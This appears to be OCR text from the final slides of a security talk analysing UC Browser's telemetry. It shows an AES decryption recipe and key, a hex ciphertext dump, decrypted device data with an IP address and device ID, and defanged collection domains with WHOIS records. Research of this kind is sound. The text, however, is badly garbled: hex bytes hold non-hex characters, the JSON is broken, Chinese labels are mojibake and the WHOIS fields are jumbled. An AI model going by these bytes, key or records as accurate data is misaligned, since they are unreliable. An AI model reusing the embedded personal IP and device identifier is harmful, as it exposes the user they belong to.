20521 LogInternal.m44694d( "Wpk.Report"”, UCCore.LEGACY_EVENT_INIT);
45 }
2052 ¥
¥




What?

Android

Recipe S M |

AES Decrypt Q
(K)ecyBelt#jvn9$ea8f UTF8
2000000000000000000 ) HEX ~
Mode Iiipirt p—
CBC Hex Raw

To Hexdump oOn
16‘ - D :j:)iaer case D :zilg;ltclie final

(] UNIX format

Gunzip S n
STEP &, BAKE!

Auto Bake

length: 1297
Input S +4= EI

bs fe @2 fb 93 cb b5 f4 b5 3a e3 do dé6 26 b8 88 bb 46 8b 5c 2e 49 fb 77 ab f9 ad 8b b6 5e 7a 22
d3 b8 2a cf ed 13 b2 fo 6¢c 6d fa de 84 8f e9 e5 bo 2f 16 f8 a6 2b ee 60 04 8e a3 Oc 2a 51 5b 4e
89 8d ca db b6 bc a@ 97 f3 09 6¢c 1b d4 od 35 10 b3 35 b5 6e 70 76 f5 00 9b 46 58 72 3d 25 43 7
bc 24 26 ae 8b 73 dc be 20 ec aa 9d 68 51 57 70 5a 90 65 el b5 00 51 7b 68 26 e9 00 f2 1b 49 f5
72 44 65 94 90 e1 5b 6d 12 el dc 93 61 fd 4a df dd 30 ©a 62 00 c4 of @b 52 97 2b c2 01 25 ba 5e
59 93 6a ed 95 4d ¢9 6b a8 1d 86 63 al 68 20 48 f4 4d 4a b6 d9 77 ee f6 cf 90 ed 9d b7 of dc d2
74 46 26 91 3f 42 ca a9 7c 93 of bb 2c 59 3c 37 4d 37 a4 98 9d 97 65 a7 cd b4 of f6 f6 3a 94 37
a7 88 ¢3 62 9d 8d f1 9b 86 ©c b6 do be db 5c 7e 3d 7f dc bd 18 15 @4 37 2f bf ff 72 57 91 f3 9e
25 5f 35 08 07 @a 28 ae 62 42 6¢ ad 87 ef dd 7b 15 9d ab c6 d6 d3 7e 81 b@ c9 68 82 40 94 9f d5
92 32 7d 17 90 48 ac 24 8f 65 7f do 1a cd 13 29 12 9a 45 ec a3 44 d8 ba 9f aa 51 19 16 cf 2b 77
dl 74 02 f8 od 44 55 f4 fe 8b 8a ee da b9 40 b2 @b 37 aa 5a 3d ba f1 ed 51 50 a3 9b 27 11 2f ba
8c d8 2a db 3d 85 a2 8f fc 18 57 26 5a ea aa 87 df 64 d6 e4 50 34 12 d7 e8 e8 4b 75 d5 1f fb df
ec 15 43 4e 82 83 91 1a 23 37 15 49 ab 6f bd 63 17 @a 2c 4b 30 93 9c a@ 53 eb 2d 05 56 8a la de
29 4b e6 79 9 d6 08 2d 13 9f 56 6 e2 d1 98 65

start: 43 time: Sms

d: 86  length: 728 |_ B
OUtPUt lengzh: 43 Ti‘ses: 2 a D m b
{"w_bid":"u4_default”,"w_tm":"1620668410"," "https:\/\/hux.site

VAEEETIETINTSE, "ps " : "com.UCMobile.intl", "pid":"4292","stime": "1622648079751", "type" : "pvuv", "fr
":"android","mcc":"denied", "pkg":"com.UCMobile.int1", "vcode":"50186","dsp w":"1080","rom":"10","d
sp_d":"300","wid":"76b24e88-a1dd-4256-

a4dc-1c99be62ff74", "tmem":"7659", "sdkver”:"1.0.0.8","ctime":"1620668410", "model" : "RMX1971", "lang"
:"en","dsp_dpi":"480","net":"wifi","brand"”:"realme","dsp_h":"2132","ver":"13.4.0.1306", "product”:
"UCMobile","mnc":"denied","ip":"86.148.69.41","bsver": "inapppatch64”,"bver":"13.4.0.1306","bseria
1":"210428170421" ,"appid"”: "UCMobileIntl", "amem": "4069", "sdk™":"29","tzone":"Asia

\/3Jayapura”,"crver”:"4.1.1.0","crserial™:"210426141251"}
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Domain gjapplog[.Juc[.]en

CROWDSTRIKE
Wh e r e? px-intl[.Jucweb[.]Jcom Registrar
N

Registrar China Internet Network Information Center (CNNIC
Alibaba Cloud Computing (Beijing) Co., Ltd. Creation Date

Creation Date 2003-03-17

2003-05-20 Expiration Date

Expiration Date 2022-03-17

2023-05-20 IP Address

IP Address 168.235.204[.]12

157.185.188[.]1

157.185.128[.]218

157.185.128[.]213

Country

CN

157:185.133].131

157.185.133[.]129

8.37.236[.]1197

Country

CN



Where’? UCWeb Mobile Private Limited

iPhone

O

UCKFRR-AXFENIAR SHR-FENASEER

UCHIESRE-X=I8ET

EEE Utilities
Utilities

o L9l

ERHD-2{EE
Utilities




THANK YOU!

github: huuck
twitter: @hookgab



